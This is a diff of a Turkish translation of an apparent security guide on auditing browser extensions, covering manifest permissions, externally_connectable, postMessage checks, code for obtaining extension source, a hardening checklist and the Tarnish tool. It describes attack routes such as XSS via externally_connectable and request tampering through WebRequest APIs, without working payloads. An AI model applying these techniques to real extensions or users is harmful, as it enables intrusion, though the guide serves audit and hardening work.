@@ -280,22 +266,22 @@ Arka plan betiğini hata ayıklamak için **uzantı ayrıntılarına gidip hizme Tarayıcı uzantıları çeşitli türde sayfalar içerebilir: -* **Eylem sayfaları**, uzantı simgesine tıklandığında bir **açılır menüde** görüntülenir. -* Uzantının **yeni bir sekmede yükleyeceği** sayfalar. -* **Seçenek Sayfaları**: Bu sayfa, tıklanıldığında uzantının üzerinde görüntülenir. Önceki manifestoda bu sayfaya `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` adresinden veya aşağıdaki gibi tıklayarak erişebildim: +* **Eylem sayfaları**, uzantı simgesine tıklandığında bir **açılır menüde** gösterilir. +* Uzantının **yeni bir sekmede yükleyeceği sayfalar**. +* **Seçenek Sayfaları**: Bu sayfa, tıklanıldığında uzantının üstünde görüntülenir. Önceki belirteçte bu sayfaya `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` adresinden veya tıklayarak erişebildim:
-Bu sayfalar, arka plan sayfaları gibi kalıcı değildir, gerektiğinde dinamik olarak içerik yüklerler. Bununla birlikte, arka plan sayfasıyla belirli yetenekleri paylaşırlar: +Bu sayfaların arka plan sayfaları gibi kalıcı olmadığını, gerektiğinde dinamik içerik yüklediklerini unutmayın. Bununla birlikte, bu sayfalar arka plan sayfasıyla belirli yetenekleri paylaşırlar: -- **İçerik Betikleriyle İletişim:** Arka plan sayfasına benzer şekilde, bu sayfalar içerik betiklerinden mesaj alabilir ve uzantı içinde etkileşimi kolaylaştırır. -- **Uzantıya Özgü API'lere Erişim:** Bu sayfalar, uzantıya özgü API'lere kapsamlı erişime sahiptir ve uzantı için tanımlanan izinlere tabidir. +* **İçerik Betikleriyle İletişim:** Arka plan sayfasına benzer şekilde, bu sayfalar içerik betiklerinden mesaj alabilir ve uzantı içinde etkileşimi kolaylaştırabilir. +* **Uzantıya Özgü API'lere Erişim:** Bu sayfalar, uzantıya özgü API'lere kapsamlı erişime sahiptir ve uzantı için tanımlanan izinlere tabidir. ### `permissions` ve `host_permissions` -**`permissions`** ve **`host_permissions`**, tarayıcı uzantısının hangi izinlere (depolama, konum...) sahip olduğunu ve hangi web sayfalarında çalışacağını belirten `manifest.json` dosyasındaki girişlerdir. +**`permissions`** ve **`host_permissions`**, tarayıcı uzantısının sahip olduğu **izinleri** (depolama, konum...) ve **hangi web sayfalarında** olduğunu belirten `manifest.json` dosyasındaki girişlerdir. -Tarayıcı uzantıları bu kadar **yetkilendirilebildiği** için, kötü niyetli bir uzantı veya birinin ele geçirilmesi saldırganın **hassas bilgileri çalmak ve kullanıcıyı izlemek için farklı yöntemlere izin verebilir**. +Tarayıcı uzantıları çok **ayrıcalıklı** olabileceğinden, kötü niyetli veya tehlikeye maruz kalan bir uzantı saldırganın **duyarlı bilgileri çalmak ve kullanıcıyı izlemek için farklı yöntemlere izin verebilir**. Bu ayarların nasıl çalıştığını ve nasıl kötüye kullanılabileceğini kontrol edin: @@ -305,13 +291,13 @@ Bu ayarların nasıl çalıştığını ve nasıl kötüye kullanılabileceğini ### `content_security_policy` -Bir **içerik güvenlik politikası** de `manifest.json` içinde belirtilebilir. Tanımlanmışsa, **savunmasız** olabilir. +Bir **içerik güvenlik politikası**, ayrıca `manifest.json` içinde de belirtilebilir. Tanımlanmışsa, **savunmasız** olabilir. Tarayıcı uzantısı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır: ```bash script-src 'self'; object-src 'self'; ``` -Daha fazla bilgi için CSP ve potansiyel bypasslar hakkında kontrol edin: +CSP ve olası bypass'lar hakkında daha fazla bilgi için kontrol edin: {% content-ref url="../content-security-policy-csp-bypass/" %} [content-security-policy-csp-bypass](../content-security-policy-csp-bypass/) @@ -319,8 +305,8 @@ Daha fazla bilgi için CSP ve potansiyel bypasslar hakkında kontrol edin: ### `web_accessible_resources` -Bir web sayfasının, örneğin bir `.html` sayfasının, bir Tarayıcı Uzantısı'nın bir sayfasına erişmesi için bu sayfanın `manifest.json` dosyasının **`web_accessible_resources`** alanında belirtilmesi gerekmektedir.\ -Örneğin: +Bir web sayfasının, örneğin bir `.html` sayfasının, bir Tarayıcı Uzantısının bir sayfasına erişmesi için bu sayfanın `manifest.json` dosyasındaki **`web_accessible_resources`** alanında belirtilmesi gerekir.\ +Örnek: ```javascript { ... @@ -337,17 +323,17 @@ Bir web sayfasının, örneğin bir `.html` sayfasının, bir Tarayıcı Uzantı ... } ``` -Bu sayfalara şu şekilde erişilebilir: +Bu sayfalara şu URL'lerden erişilebilir: ``` chrome-extension:///message.html ``` -Halka açık uzantılarda **uzantı kimliği erişilebilir**: +Genel uzantılarda **uzantı kimliğine erişilebilir**:
-Ancak, `manifest.json` parametresi olan **`use_dynamic_url`** kullanılıyorsa, bu **kimlik dinamik olabilir**. +Ancak, `manifest.json` parametresi **`use_dynamic_url`** kullanılıyorsa, bu **kimlik dinamik olabilir**. -Bu sayfalara erişime izin vermek, bu sayfaların **potansiyel olarak savunmasız ClickJacking** olmasına neden olur: +Bu sayfalara erişime izin verilmesi, bu sayfaları **potansiyel olarak ClickJacking'e duyarlı** hale getirir: {% content-ref url="browext-clickjacking.md" %} [browext-clickjacking.md](browext-clickjacking.md) @@ -359,29 +345,33 @@ Bu sayfaların yalnızca uzantı tarafından yüklenmesine ve rastgele URL'ler t ### `externally_connectable` -[**Belgelere**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) göre, `"externally_connectable"` manifest özelliği, [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) ve [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) aracılığıyla uzantınıza kimlerin bağlanabileceğini belirtir. +[**Belgelerde**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) belirtildiği gibi, `"externally_connectable"` manifest özelliği, [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) ve [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) aracılığıyla uzantınıza kimlerin bağlanabileceğini belirtir. -* Eğer **`externally_connectable`** anahtarı uzantınızın manifestinde **belirtilmezse veya `"ids": ["*"]`** olarak belirtilirse, **tüm uzantılar bağlanabilir, ancak hiçbir web sayfası bağlanamaz**. -* Belirli kimlikler belirtilmişse, örneğin `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **yalnızca o uygulamalar** bağlanabilir. -* Eşleşmeler belirtilmişse, bu web uygulamaları bağlanabilir: +* Eğer **`externally_connectable`** anahtarı uzantınızın manifestinde belirtilmemişse veya **`"ids": ["*"]`** olarak belirtilmişse, **tüm uzantılar bağlanabilir, ancak hiçbir web sayfası bağlanamaz**. +* Belirli kimlikler belirtildiyse, örneğin `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **yalnızca bu uygulamalar** bağlanabilir. +* Eşleşmeler belirtildiyse, bu web uygulamaları bağlanabilir: ```json "matches": [ "https://*.google.com/*", "*://*.chromium.org/*", ``` -* Eğer boş olarak belirtilmişse: **`"externally_connectable": {}`**, hiçbir uygulama veya web bağlantı kuramaz. +* Eğer boş olarak belirtilmişse: **`"externally_connectable": {}`**, hiçbir uygulama veya web sitesi bağlantı kuramaz. -Burada belirtilen **daha az uzantı ve URL** ile, saldırı yüzeyi **daha küçük** olacaktır. +Burada belirtilen **daha az uzantı ve URL** olduğunda, **saldırı yüzeyi daha küçük** olacaktır. {% hint style="danger" %} -Eğer **XSS veya ele geçirme** açığına sahip bir web sayfası **`externally_connectable`** içinde belirtilmişse, saldırgan, İçerik Betiği ve CSP'sini tamamen atlayarak mesajları doğrudan arka plan betiğine gönderebilecektir. +Eğer **XSS'ye duyarlı veya ele geçirilebilir** bir web sayfası **`externally_connectable`** içinde belirtilmişse, bir saldırgan **mesajları doğrudan arka plan betiğine gönderebilir**, İçerik Betiği ve CSP'sini tamamen atlayarak. -Bu nedenle, bu **çok güçlü bir atlatmadır**. +Bu nedenle, bu **çok güçlü bir atlatma**dır. + +Ayrıca, istemci yanlış bir uzantı yüklerse, hatta savunmasız uzantıyla iletişim kurmasına izin verilmiyorsa, bir web sayfasına **XSS verisi enjekte edebilir** veya hedeflenen bir alan üzerinde istekleri manipüle etmek için **`WebRequest`** veya **`DeclarativeNetRequest`** API'larını kötüye kullanabilir ve bir sayfanın isteğini bir **JavaScript dosyası** için değiştirebilir. (Hedeflenen sayfadaki CSP bu saldırıları engelleyebilir). Bu fikir [**bu yazıdan gelmektedir**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). {% endhint %} +## + ## Web **↔︎** İçerik Betiği İletişimi -**İçerik betiklerinin** çalıştığı ortamlar ve ana sayfaların bulunduğu ortamlar birbirinden **ayrılmış** ve **izole** edilmiştir. Bu izolasyona rağmen, her ikisi de sayfanın **Belge Nesne Modeli (DOM)** ile etkileşimde bulunma yeteneğine sahiptir. Ana sayfanın **içerik betiği** ile iletişim kurması veya dolaylı olarak içerik betiği aracılığıyla uzantı ile iletişim kurması için, her iki tarafın da erişebildiği **DOM**'u iletişim kanalı olarak kullanması gerekmektedir. +**İçerik betiklerinin** çalıştığı ortamlar ve ana sayfaların bulunduğu ortamlar birbirinden **ayrılmış** olup, **izolasyonu** sağlar. Bu izolasyona rağmen, her ikisi de sayfanın **Belge Nesne Modeli (DOM)** ile etkileşimde bulunma yeteneğine sahiptir, ortak bir kaynak. Ana sayfanın **içerik betiği** ile iletişim kurabilmesi veya dolaylı olarak içerik betiği aracılığıyla uzantı ile iletişim kurabilmesi için, her iki tarafın da erişebildiği **DOM**'u iletişim kanalı olarak kullanması gerekmektedir. ### Mesaj Gönderme @@ -401,7 +391,9 @@ port.postMessage(event.data.text); } }, false); ``` -{% code title="ornek.js" %} +{% endcode %} + +{% code title="örnek.js" %} ```javascript document.getElementById("theButton").addEventListener("click", () => { window.postMessage( @@ -410,15 +402,15 @@ window.postMessage( ``` {% endcode %} -Güvenli bir Post Message iletişimi, alınan iletişimin doğruluğunu kontrol etmelidir, bunu kontrol etmek için şunlar yapılabilir: +Güvenli bir Post Message iletişimi, alınan iletiyi doğrulamalıdır, bunu şu şekilde kontrol edebiliriz: -* **`event.isTrusted`**: Bu, olayın bir kullanıcı eylemi tarafından tetiklendiği durumlarda yalnızca True'dur. -* İçerik betiği, kullanıcı belirli bir eylem gerçekleştirdiğinde bir ileti bekleyebilir. -* **köken alanı**: yalnızca belirli bir alan adı beyaz listesindeki bir ileti bekleyebilir. -* Eğer bir regex kullanılıyorsa, çok dikkatli olunmalıdır. -* **Kaynak**: `received_message.source !== window`, İçerik Betiği'nin dinlediği pencereden **gelen ileti**nin kontrol edilmesi için kullanılabilir. +- **`event.isTrusted`**: Bu, yalnızca olayın bir kullanıcı eylemi tarafından tetiklendiğinde True olur +- İçerik betiği, kullanıcının belirli bir eylem gerçekleştirmesi durumunda bir ileti bekleyebilir +- **köken alanı**: yalnızca belirli bir alan adı beyaz listesinden bir ileti bekleyebilir. +- Bir regex kullanılıyorsa, çok dikkatli olunmalıdır +- **Kaynak**: `received_message.source !== window`, iletişim Betiği'nin dinlediği pencereden **geldiğini kontrol etmek için kullanılabilir**. -Önceki kontroller, yapılsa bile, savunmasız olabilir, bu nedenle aşağıdaki sayfada **potansiyel Post Message atlatmalarını** kontrol edin: +Önceki kontroller, gerçekleştirilmiş olsa bile, savunmasız olabilir, bu nedenle aşağıdaki sayfada **potansiyel Post Message atlamalarını** kontrol edin: {% content-ref url="../postmessage-vulnerabilities/" %} [postmessage-vulnerabilities](../postmessage-vulnerabilities/) @@ -426,7 +418,7 @@ Güvenli bir Post Message iletişimi, alınan iletişimin doğruluğunu kontrol ### Iframe -Başka bir iletişim yöntemi, **Iframe URL'leri** aracılığıyla olabilir, bir örneğini aşağıda bulabilirsiniz: +Başka bir iletişim yolu olası bir şekilde **Iframe URL'leri** aracılığıyla olabilir, bir örnek bulabilirsiniz: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -434,29 +426,29 @@ Başka bir iletişim yöntemi, **Iframe URL'leri** aracılığıyla olabilir, bi ### DOM -Bu tam olarak bir iletişim yöntemi değildir, ancak **web ve içerik betiği web DOM'a erişebilir**. Bu nedenle, **içerik betiği** bunlardan bazı bilgileri okuyorsa ve web DOM'a güveniyorsa, web bu verileri **değiştirebilir** (çünkü web güvenilir olmamalıdır veya web XSS'e karşı savunmasız olabilir) ve **İçerik Betiği'ni tehlikeye atabilir**. +Bu "tam olarak" bir iletişim yolu değil, ancak **web ve içerik betiği web DOM'a erişebilir**. Dolayısıyla, **içerik betiği** bu bilgilerden bazılarını okuyorsa, **web DOM'a güveniyorsa**, web bu verileri **değiştirebilir** (çünkü web güvenilir olmamalıdır veya web XSS'ye duyarlı olabilir) ve **İçerik Betiğini tehlikeye atabilir**. -Ayrıca, bir **DOM tabanlı XSS ile bir tarayıcı uzantısını tehlikeye atma** örneği bulabilirsiniz: +Ayrıca, bir **tarayıcı uzantısını tehlikeye atmak için DOM tabanlı XSS örneği** bulabilirsiniz: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) {% endcontent-ref %} -## Bellekte/Koddaki Hassas Bilgiler +## Bellek/Kod İçinde Hassas Bilgiler -Bir Tarayıcı Uzantısı, **hassas bilgileri belleğinde** saklıyorsa, bu bilgiler (özellikle Windows makinelerinde) **dökülebilir** ve bu bilgiler için **arama yapılabilir**. +Bir Tarayıcı Uzantısı, **hassas bilgileri belleğinde saklarsa**, bu bilgi **dökülebilir** (özellikle Windows makinelerinde) ve bu bilgi için **arama yapılabilir**. -Bu nedenle, Tarayıcı Uzantısının belleği **güvenli kabul edilmemeli** ve kimlik bilgileri veya anı cümleleri gibi **hassas bilgiler saklanmamalıdır**. +Bu nedenle, Tarayıcı Uzantısının belleği **güvenli kabul edilmemeli** ve kimlik bilgileri veya mnemonik ifadeler gibi **hassas bilgilerin saklanmaması** gerekmektedir. -Tabii ki, hassas bilgileri **koda koymayın**, çünkü bu bilgiler **herkese açık** olacaktır. +Tabii ki, kod içine **hassas bilgi koymayın**, çünkü bu **genel** olacaktır. -## İçerik Betiği **↔︎** Arka Plan Betiği İletişimi +## İçerik Betiği **↔︎** Arkaplan Betiği İletişimi -Bir İçerik Betiği, bir **kez JSON-uyarlanabilir** bir ileti göndermek için [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **veya** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) fonksiyonlarını kullanabilir. +Bir İçerik Betiği, [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **veya** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) fonksiyonlarını kullanarak **bir seferlik JSON-serileştirilebilir** bir ileti gönderebilir. -**Yanıtı** işlemek için dönen **Promise**'ı kullanın. Bununla birlikte, geriye dönük uyumluluk için, hala bir **geri çağrı**yı son argüman olarak iletebilirsiniz. +**Yanıtı** işlemek için dönen **Promise**'ı kullanın. Ancak, geriye dönük uyumluluk için hala bir **geri çağrı**yı son argüman olarak iletebilirsiniz. -Bir **içerik betiğinden** bir istek göndermek aşağıdaki gibi görünür: +Bir **içerik betiğinden** bir istek göndermek şöyle görünür: ```javascript (async () => { const response = await chrome.runtime.sendMessage({greeting: "hello"}); @@ -464,7 +456,7 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"}); console.log(response); })(); ``` -**Uzantıdan** (genellikle bir **arkaplan betiği**) bir istek gönderme Bir İçerik Betiği, fonksiyonları kullanabilir, ancak hangi sekme gönderileceğini belirtmeniz gerekmektedir. Seçilen sekmedeki içerik betiğine mesaj göndermek için örnek: +**Uzantıdan** bir istek gönderme (genellikle bir **arka plan betiği**) Bir İçerik Betiği, fonksiyonları kullanabilir, ancak hangi sekmeye gönderileceğini belirtmeniz gerekir. Seçilen sekmedeki içerik betiğine mesaj göndermenin bir örneği: ```javascript // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script (async () => { @@ -487,30 +479,29 @@ sendResponse({farewell: "goodbye"}); } ); ``` -Örnekte vurgulanan örnekte, **`sendResponse()`** senkron bir şekilde çalıştırıldı. `onMessage` olay işleyicisini `sendResponse()`'un asenkron olarak çalışması için değiştirmek için `return true;` dahil etmek önemlidir. +Öne çıkarılan örnekte, **`sendResponse()`** senkron bir şekilde yürütüldü. `sendResponse()`'ın asenkron yürütülmesi için `onMessage` olay işleyicisini değiştirmek için `return true;` eklemek hayati önem taşır. -Birkaç sayfanın `onMessage` olaylarını alması durumunda, belirli bir olay için **`sendResponse()`'un ilk sayfanın** yanıtı etkin bir şekilde iletebileceği tek sayfa olacağı önemli bir husustur. Aynı olaya yönelik sonraki yanıtlar dikkate alınmayacaktır. - -Yeni uzantılar oluşturulurken, tercih geriçağırımlar yerine söz verilere yönelik olmalıdır. Geriçağırımların kullanımıyla ilgili olarak, `sendResponse()` işlevi yalnızca senkron bağlamda doğrudan çalıştırıldığında veya olay işleyicisi asenkron bir işlemi belirtiyorsa geçerli kabul edilir. Hiçbir işleyici `true` döndürmezse veya `sendResponse()` işlevi bellekten kaldırılırsa (çöp toplama), `sendMessage()` işleviyle ilişkilendirilmiş geriçağırıcı varsayılan olarak tetiklenecektir. +Birden fazla sayfanın `onMessage` olaylarını alacağı senaryolarda, **belirli bir olay için `sendResponse()`'ı yürüten ilk sayfa** yanıtı etkili bir şekilde iletebilecek tek sayfa olacaktır. Aynı olaya yönelik herhangi bir sonraki yanıt dikkate alınmayacaktır. +Yeni uzantılar oluşturulurken, tercih edilen yaklaşım geri dönüşler yerine söz verilere yöneliktir. Geri dönüşlerin kullanımıyla ilgili olarak, `sendResponse()` fonksiyonu yalnızca senkron bağlamda doğrudan yürütüldüğünde veya olay işleyicisi asenkron bir işlemi belirtiyorsa `true` döndürdüğünde geçerli kabul edilir. Hiçbir işleyicinin `true` döndürmemesi durumunda veya `sendResponse()` fonksiyonu bellekten kaldırıldığında (çöp toplama), `sendMessage()` fonksiyonuyla ilişkilendirilen geri arama varsayılan olarak tetiklenir. ## Tarayıcıda Bir Uzantı Yükleme 1. Tarayıcı Uzantısını **indirin** ve açın 2. **`chrome://extensions/`** adresine gidin ve `Geliştirici Modu`'nu **etkinleştirin** -3. **`Paketlenmemiş öğe yükle`** düğmesine tıklayın +3. **`Paketlenmemiş yükleyin`** düğmesine tıklayın -**Firefox** için **`about:debugging#/runtime/this-firefox`** adresine gidin ve **`Geçici Eklenti Yükle`** düğmesine tıklayın. +**Firefox**'da **`about:debugging#/runtime/this-firefox`** adresine gidin ve **`Geçici Eklenti Yükle`** düğmesine tıklayın. ## Mağazadan kaynak kodunu alma -Bir Chrome uzantısının kaynak kodu çeşitli yöntemlerle elde edilebilir. Aşağıda her seçenek için detaylı açıklamalar ve talimatlar bulunmaktadır. +Chrome uzantısının kaynak kodu çeşitli yöntemlerle elde edilebilir. Aşağıda her seçenek için detaylı açıklamalar ve talimatlar bulunmaktadır. -### Komut Satırı Aracılığıyla ZIP Olarak Uzantıyı İndirme +### Komut Satırı Aracılığıyla ZIP Olarak Uzantı İndirme -Bir Chrome uzantısının kaynak kodu, komut satırı aracılığıyla ZIP dosyası olarak indirilebilir. Bu, `curl` kullanarak belirli bir URL'den ZIP dosyasını almayı ve ardından ZIP dosyasının içeriğini bir dizine çıkarmayı içerir. İşte adımlar: +Chrome uzantısının kaynak kodu, komut satırını kullanarak ZIP dosyası olarak indirilebilir. Bu, belirli bir URL'den ZIP dosyasını almak için `curl`'ün kullanılmasını ve ardından ZIP dosyasının içeriğini bir dizine çıkarmayı içerir. İşte adımlar: -1. `"extension_id"` ifadesini uzantının gerçek kimliğiyle değiştirin. +1. `"extension_id"` yerine gerçek uzantı kimliğini yazın. 2. Aşağıdaki komutları çalıştırın: ```bash extension_id=your_extension_id # Replace with the actual extension ID @@ -523,75 +514,98 @@ unzip -d "$extension_id-source" "$extension_id.zip" ### CRX Viewer uzantısını kullanın -Başka bir pratik yöntem, açık kaynaklı bir proje olan Chrome Extension Source Viewer'ı kullanmaktır. Bu, [Chrome Web Mağazası](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) üzerinden yüklenir. Görüntüleyicinin kaynak kodu, [GitHub deposunda](https://github.com/Rob--W/crxviewer) bulunmaktadır. +Başka bir pratik yöntem, açık kaynaklı bir proje olan Chrome Extension Source Viewer'ı kullanmaktır. Bu, [Chrome Web Mağazası'ndan](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) yüklenebilir. Görüntüleyicinin kaynak kodu [GitHub deposunda](https://github.com/Rob--W/crxviewer) bulunmaktadır. -### Yerel olarak yüklenmiş uzantının kaynağını görüntüleyin +### Yerel olarak yüklenen uzantının kaynağını görüntüleyin -Yerel olarak yüklenen Chrome uzantıları da incelenebilir. İşte nasıl yapılır: +Yerel olarak yüklenen Chrome uzantıları da incelenebilir. İşte yapılması gerekenler: 1. "chrome://version/" adresine giderek Chrome yerel profil dizinine erişin ve "Profil Yolu" alanını bulun. -2. Profil dizini içindeki "Extensions/" alt klasörüne gidin. -3. Bu klasör, genellikle okunabilir bir biçimde kaynak kodunu içeren tüm yüklenmiş uzantıları içerir. +2. Profil dizini içindeki `Extensions/` alt klasörüne gidin. +3. Bu klasör, genellikle okunabilir bir formatta kaynak kodlarıyla birlikte tüm yüklenmiş uzantıları içerir. Uzantıları tanımlamak için ID'lerini isimlere eşleyebilirsiniz: -- "about:extensions" sayfasında Geliştirici Modunu etkinleştirerek her uzantının ID'lerini görebilirsiniz. -- Her uzantının klasörü içinde, "manifest.json" dosyası, uzantıyı tanımlamanıza yardımcı olan okunabilir bir "name" alanı içerir. +* Her uzantının ID'lerini görmek için `about:extensions` sayfasında Geliştirici Modunu etkinleştirin. +* Her uzantının klasörü içinde, `manifest.json` dosyası, uzantıyı tanımanıza yardımcı olan okunabilir bir `name` alanı içerir. -### Bir Dosya Arşivleyici veya Çıkartıcı Kullanın -Chrome Web Mağazasına gidin ve uzantıyı indirin. Dosyanın uzantısı ".crx" olacaktır. -Dosya uzantısını ".zip" olarak değiştirin. -ZIP dosyasının içeriğini çıkarmak için WinRAR, 7-Zip vb. herhangi bir dosya arşivleyiciyi kullanın. +### Bir Dosya Arşivleyici veya Açıcı Kullanın + +Chrome Web Mağazasına gidin ve uzantıyı indirin. Dosyanın uzantısı `.crx` olacaktır. Dosya uzantısını `.crx`'den `.zip`'e değiştirin. ZIP dosyasının içeriğini çıkarmak için WinRAR, 7-Zip vb. herhangi bir dosya arşivleyicisini kullanın. ### Chrome'da Geliştirici Modunu Kullanın -Chrome'u açın ve "chrome://extensions/" adresine gidin. -Sağ üst köşede "Geliştirici modunu" etkinleştirin. -"Yüklenmemiş uzantıyı yükle" üzerine tıklayın. -Uzantının dizinine gidin. -Bu, kaynak kodunu indirmese de, zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için kullanışlıdır. + +Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üst köşede "Geliştirici modunu" etkinleştirin. "Paketlenmemiş uzantıyı yükle..." üzerine tıklayın. Uzantının dizinine gidin. Bu, kaynak kodunu indirmese de, zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için kullanışlıdır. ## Güvenlik Denetim Listesi -Tarayıcı Uzantılarının **sınırlı bir saldırı yüzeyi** olsa da, bazıları **zayıflıklar** veya **potansiyel sertleştirme iyileştirmeleri** içerebilir. Aşağıdakiler en yaygın olanlardır: +Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olmalarına rağmen, bazıları **zafiyetler** veya **potansiyel sıkılaştırma iyileştirmeleri** içerebilir. En yaygın olanlar şunlardır: -* [ ] Mümkün olduğunca çok **`permissions`** isteğini **sınırlayın** -* [ ] Mümkün olduğunca çok **`host_permissions`** isteğini **sınırlayın** -* [ ] Güçlü bir **`content_security_policy`** kullanın -* [ ] **`externally_connectable`** isteklerini mümkün olduğunca **sınırlayın**, gerekli değilse ve mümkünse, varsayılan olarak bırakmayın, **`{}`** belirtin -* [ ] XSS veya ele geçirmeye karşı savunmasız bir URL burada belirtiliyorsa, bir saldırgan arka plan betiklerine doğrudan mesaj gönderebilecektir. Çok güçlü bir bypass. -* [ ] Mümkün olduğunca **`web_accessible_resources`** isteklerini sınırlayın, mümkünse boş bırakın. -* [ ] **`web_accessible_resources`** yoksa, [**ClickJacking**](browext-clickjacking.md) için kontrol edin -* [ ] Uzantıdan web sayfasına herhangi bir iletişim varsa, iletişimde oluşan [**XSS zafiyetlerini kontrol edin**](browext-xss-example.md) -* [ ] Post Mesajları kullanılıyorsa, [**Post Mesaj zafiyetlerini kontrol edin**](../postmessage-vulnerabilities/)**.** -* [ ] İçerik Betiği DOM ayrıntılarına erişiyorsa, web tarafından **değiştirildiğinde XSS** tanıtmadıklarını kontrol edin -* [ ] Bu iletişim aynı zamanda **İçerik Betiği -> Arka plan betiği iletişiminde** yer alıyorsa, özel bir vurgu yapın -* [ ] Hassas bilgileri Browser Uzantısı **kodunun içine saklamayın** -* [ ] Hassas bilgileri Browser Uzantısı **belleğine saklamayın** +* [ ] Mümkün olduğunca az **`izinler`** isteyin +* [ ] Mümkün olduğunca az **`host_permissions`** isteyin +* Güçlü bir **`content_security_policy`** kullanın +* Mümkün olduğunca az **`externally_connectable`** kullanın, gerekli değilse ve mümkünse varsayılan olarak bırakmayın, **`{}`** belirtin +* Burada XSS'ye veya ele geçirmeye açık olan bir URL belirtilmişse, bir saldırganın **mesajları doğrudan arka plan betiklerine göndermesine** izin verilecektir. Çok güçlü bir atlatma. +* Mümkün olduğunca az **`web_accessible_resources`** kullanın, mümkünse hatta boş bırakın. +* Eğer **`web_accessible_resources`** yoksa, [**ClickJacking**](browext-clickjacking.md) için kontrol edin +* Eğer uzantıdan web sayfasına herhangi bir **iletişim** varsa, iletişimde oluşan **XSS zafiyetlerini** kontrol edin. +* Post Mesajları kullanılıyorsa, [**Post Mesaj zafiyetlerini**](../postmessage-vulnerabilities/) kontrol edin. +* **İçerik Betiği DOM detaylarına erişiyorsa**, bunların web tarafından **değiştirilmesi durumunda XSS** oluşturup oluşturmadığını kontrol edin +* Bu iletişimin aynı zamanda **İçerik Betiği -> Arka plan betiği ile iletişimde** olması durumunda özel bir vurgu yapın +* **Hassas bilgiler** Tarayıcı Uzantısı **kodunun içinde saklanmamalıdır** +* **Hassas bilgiler** Tarayıcı Uzantısı **belleğinde saklanmamalıdır** ## Araçlar ### [**Tarnish**](https://thehackerblog.com/tarnish/) -* Sağlanan bir Chrome web mağazası bağlantısından herhangi bir Chrome uzantısını alır. -* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **görüntüleyici**: uzantının manifest dosyasının JSON düzgünleştirilmiş bir sürümünü basitçe görüntüler. -* **Parmak izi Analizi**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) tespiti ve Chrome uzantısı parmak izi oluşturma JavaScript'inin otomatik olarak oluşturulması. -* **Potansiyel Clickjacking Analizi**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) yönergesiyle uzantı HTML sayfalarının tespiti. Bu sayfaların amacına bağlı olarak clickjacking'e karşı potansiyel olarak savunmasız olabilirler. -* **İzin Uyarıları görüntüleyici**: kullanıcının uzantıyı yüklemeye çalıştığında görüntülenecek tüm Chrome izin uyarılarının bir listesini gösterir. -* **Tehlikeli Fonksiyon(lar)**: saldırgan tarafından kötüye kullanılabilecek tehlikeli fonksiyonların konumunu gösterir (örneğin, innerHTML, chrome.tabs.executeScript gibi fonksiyonlar). -* **Giriş Noktası(lar)**: uzantının kullanıcı/dış giriş alacağı yerleri gösterir. Bu, bir uzantının yüzey alanını anlamak ve uzanta kötü niyetli olarak oluşturulmuş verileri göndermek için potansiyel noktaları aramak için kullanışlıdır. -* Tehlikeli Fonksiyon(lar) ve Giriş Noktası(lar) tarayıcıları aşağıdaki özelliklere sahiptir: -* Uyarıya neden olan ilgili kod parçacığı ve satır. +* Sağlanan bir Chrome web mağazası bağlantısından herhangi bir Chrome uzantısını çeker. +* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **görüntüleyici**: uzantının manifest dosyasının JSON şeklinde güzel görüntülenmiş bir sürümünü basitçe gösterir. +* **Parmak İzi Analizi**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) tespiti ve Chrome uzantısı parmak izi oluşturma JavaScript'inin otomatik oluşturulması. +* **Potansiyel Clickjacking Analizi**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) yönergesi ayarlanmış uzantı HTML sayfalarının tespiti. Bu sayfalar, sayfaların amacına bağlı olarak clickjacking'e karşı potansiyel olarak savunmasız olabilir. +* **İzin Uyarıları Görüntüleyici**: bir kullanıcının uzantıyı yüklemeye çalıştığında görüntülenecek tüm Chrome izin uyarılarının bir listesini gösterir. +* **Tehlikeli Fonksiyonlar**: bir saldırgan tarafından kötüye kullanılabilecek tehlikeli fonksiyonların konumunu gösterir (örneğin, innerHTML, chrome.tabs.executeScript gibi fonksiyonlar). +* **Giriş Noktaları**: uzantının kullanıcı/dış giriş aldığı yerleri gösterir. Bu, bir uzantının yüzey alanını anlamak ve uzantıya kötü niyetli şekilde oluşturulmuş verileri gönderebilecek potansiyel noktaları aramak için kullanışlıdır. +* Hem Tehlikeli Fonksiyonlar hem de Giriş Noktaları tarayıcıları için 